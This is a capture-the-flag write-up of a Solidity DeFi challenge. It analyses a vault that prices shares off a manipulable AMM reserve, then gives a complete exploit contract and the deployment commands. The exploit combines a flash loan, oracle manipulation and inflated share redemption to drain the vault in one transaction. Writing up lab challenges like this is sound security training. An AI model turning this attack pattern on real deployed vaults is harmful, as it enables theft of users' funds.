Caldrin's Day Away
Caldrin's Day Away
Platform: CACTF2026 | Category: Blockchain | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-07-27 | Status: Solved Techniques: price_oracle_manipulation, flash_loan_attack, vault_share_price_inflation, atomic_deposit_redeem
Summary
Task: Solidity/EVM DeFi challenge with an ERC4626-like vault that prices claim-marks off a manipulable spot AMM reserve used as an oracle. Solution: flash-loan the AMM to inflate crownReserve, recount the vault's holdings to the inflated price, and redeem shares deposited at the honest price for an inflated payout in one atomic transaction, draining the vault below the solve threshold.
Caldrin's Day Away — CACTF2026
Description
On a random morning, Caldrin Vowmark leaves his chapel desk to escape royal seals, buy bread, and enjoy a quiet walk through the market. But the quay is already restless. Sailors argue over claim-marks, merchants blame bad luck, and a smiling broker named Verrin Goldhand moves through the crowd, calming people with soft words about patience and fortune. Caldrin follows the noise to a small dockside Sharehouse, where sailors leave coin, salt, and trade goods before long voyages. In return, they receive claim-marks they can exchange when they return. Lately, a few visitors have arrived with modest bundles and come back soon after to collect far more than expected. The keepers call it luck from the sea, but Caldrin notices the same pale wax on every suspicious claim. Before he leaves, he finds one of those pale-waxed marks has been sent onward to a larger Sharehouse in the old quarter.
English summary: A set of Solidity contracts implements a dockside DeFi economy: an ERC20 (TradeToken), a constant-product AMM (DocksideMarket), a single-call flash-loan provider (GoldhandCredit), a hash-locked staticcall oracle proxy (PublicStampDesk), and an ERC4626-style vault (DocksideSharehouse). The goal is to drain the vault: Setup.isSolved() returns true when crownCoin.balanceOf(sharehouse) < 150_000e6. The vault starts with 1_000_000e6 CROWN, so more than 850_000e6 must be drained.
Analysis
The vault prices its claim-marks (shares) using recordedHoldings, and recountHoldings sets that value directly from a live AMM reserve exposed through a pre-approved oracle order. Two design flaws combine into a classic share-price inflation attack.
Vulnerable functions
DocksideSharehouse (ERC4626-like vault). State starts at recordedHoldings = 1_000_000e6, totalClaimMarks = 990_000e18 (all held by 0xBEEF):
leaveGoods(crownCoinAmount): reverts if a flash loan is active (goldhandCredit.activeBorrower() != 0); requirestravelPurseCredit; mintsclaimMarks = crownCoinAmount * totalClaimMarks / recordedHoldings; pulls CROWN; increasesrecordedHoldings.recountHoldings(stampedOrder): setsrecordedHoldings = abi.decode(stampDesk.readStampedOrder(order), (uint256))— i.e. sets holdings to the AMM's currentcrownReserve(the manipulable oracle).redeemClaim(claimMarkAmount): pays outclaimMarkAmount * recordedHoldings / totalClaimMarksCROWN. NOT guarded against an active flash loan.
DocksideMarket (constant-product AMM), seeded 1_000_000e6 CROWN / 1_000_000e6 SALT:
_amountOut = amountIn * reserveOut / (reserveIn + amountIn)valueCargoAsOneGood(cargo, good)=cargo * reserve / totalCargoMarks; the pre-approved oracle order usescargo = 1_000_000e6, good = 0, so it simply returns the currentcrownReserve.
PublicStampDesk.readStampedOrder(order): abi-decodes (address target, bytes callData), requires keccak256(order) is in approvedReading (setup pre-approves exactly one order — the recount oracle call), then target.staticcall(callData) and returns the raw bytes.
GoldhandCredit.borrowForOneCall(amount, data): single-call flash loan seeded with 90_000_000e6 CROWN. Transfers amount to the caller, sets activeBorrower, invokes IQuayBorrower(msg.sender).onQuayLoan(amount, data), then requires the contract's CROWN balance is fully restored.
Root cause
- Manipulable spot-price oracle.
recountHoldingsreads the AMM's instantaneouscrownReserveas the vault's true holdings. A large flash loan can move that reserve arbitrarily. - Asymmetric flash-loan guard. Only
leaveGoodsis blocked during an active loan;redeemClaimis not. An attacker can therefore deposit at the honest price and redeem at the inflated price inside a single atomic transaction.
Key math
Deposit 10_000e6 CROWN at honest holdings 1_000_000e6:
claimMarks = 10_000e6 * 990_000e18 / 1_000_000e6 = 9_900e18
Dump the 90_000_000e6 loan CROWN into the AMM:
saltOut = 90_000_000e6 * 1_000_000e6 / (1_000_000e6 + 90_000_000e6) ≈ 989_010.989e6
crownReserve after ≈ 91_000_000e6 -> recordedHoldings inflated to ~91_000_000e6
Redeem the 9_900e18 marks at the inflated holdings:
payout = 9_900e18 * ~91_000_000e6 / totalClaimMarks ≈ 900_990e6 CROWN
Sell the SALT back to reconstruct the loan (~89_999_999.999e6 CROWN) and repay 90_000_000e6. Net profit ≈ 900_990e6 CROWN. The vault, having paid the inflated redemption, drops from 1_010_000e6 (after the deposit) to ~109_010e6 < 150_000e6 → isSolved() is true.
Solution
Everything runs in a single atomic transaction via Exploit.run(), with the redemption performed inside the flash-loan callback onQuayLoan.
Setup.takeTravelPurse()→ mints10_000e6CROWN +10_000e6travelPurseCredit to the exploit contract.recountHoldings(order)at the honest price →recordedHoldings = 1_000_000e6.leaveGoods(10_000e6)→ mints9_900e18claim-marks.GoldhandCredit.borrowForOneCall(90_000_000e6, ""); insideonQuayLoan:trade(CROWN→SALT, full loan)pumpscrownReserveto ~91_000_000e6.recountHoldings(order)inflatesrecordedHoldingsto ~91_000_000e6.redeemClaim(all marks)drains ~900_990e6CROWN from the vault.trade(SALT→CROWN, all SALT)restores the AMM and reconstructs the loan CROWN.crown.transfer(GoldhandCredit, 90_000_000e6)repays the loan.
Exploit contract
solidity read-only • copy allowed// SPDX-License-Identifier: MIT pragma solidity ^0.8.20; import "./Setup.sol"; import "./TradeToken.sol"; import "./DocksideMarket.sol"; import "./GoldhandCredit.sol"; import "./DocksideSharehouse.sol"; import "./IQuayBorrower.sol"; contract Exploit is IQuayBorrower { Setup public setup; TradeToken public crown; TradeToken public salt; DocksideMarket public market; GoldhandCredit public credit; DocksideSharehouse public sharehouse; bytes public order; constructor(address _setup) { setup = Setup(_setup); crown = setup.crownCoin(); salt = setup.saltGoods(); market = setup.quayMarket(); credit = setup.goldhandCredit(); sharehouse = setup.sharehouse(); order = setup.buildPublicRecountOrder(); } function run() external { // 1. Grab the travel purse (mints 10_000e6 CROWN + purse credit to THIS contract) setup.takeTravelPurse(); uint256 dep = 10_000e6; // 2. Recount at normal price so recordedHoldings = market crownReserve (1M) sharehouse.recountHoldings(order); // 3. Deposit our purse -> claim marks at normal price crown.approve(address(sharehouse), type(uint256).max); sharehouse.leaveGoods(dep); // 4. Flash loan to pump the oracle, then redeem inflated uint256 loan = 90_000_000e6; crown.approve(address(market), type(uint256).max); salt.approve(address(market), type(uint256).max); credit.borrowForOneCall(loan, ""); } function onQuayLoan(uint256 amount, bytes calldata) external override { // a. Dump the whole loan into the market: crown -> salt, pumping crownReserve market.trade(int128(0), int128(1), amount, 0); // b. Recount -> recordedHoldings = inflated crownReserve sharehouse.recountHoldings(order); // c. Redeem all our claim marks at the inflated price -> drains sharehouse uint256 marks = sharehouse.claimMarks(address(this)); sharehouse.redeemClaim(marks); // d. Sell all salt back to reconstruct the loan crown uint256 saltBal = salt.balanceOf(address(this)); market.trade(int128(1), int128(0), saltBal, 0); // e. Repay the loan crown.transfer(address(credit), amount); } }
Commands
Local verification with Foundry (forge 1.5.1) — the test passed and the final vault CROWN balance was 109_009_900_991 (~109_009e6) < 150_000e6:
bash read-only • copy allowedforge test -vv
Live run against the HTB-style instance (TCP handler on port 30746 provided RPC_URL, player WALLET/PRIVKEY, and SETUP address; chain id 31337). Note the forge 1.5.1 argument order: contract path first, --broadcast before --constructor-args:
bash read-only • copy allowed# Deploy the exploit against the live Setup forge create src/Exploit.sol:Exploit \ --rpc-url "$RPC" --private-key "$PK" \ --broadcast --constructor-args "$SETUP" # -> Exploit deployed at 0x41d8a3D4C05Be035C383169780fd96BaF3Bc569e # Fire the single-transaction exploit cast send "$EXPLOIT" "run()" --rpc-url "$RPC" --private-key "$PK" # -> status 1 (success), tx 0xacdc99b4730e61bc2be373091a8e2d2bccbf607a0ec9c3af4e8f0580c71feac2 # Confirm the challenge is solved cast call "$SETUP" "isSolved()(bool)" --rpc-url "$RPC" # -> true
Handler option 3 then returned the flag.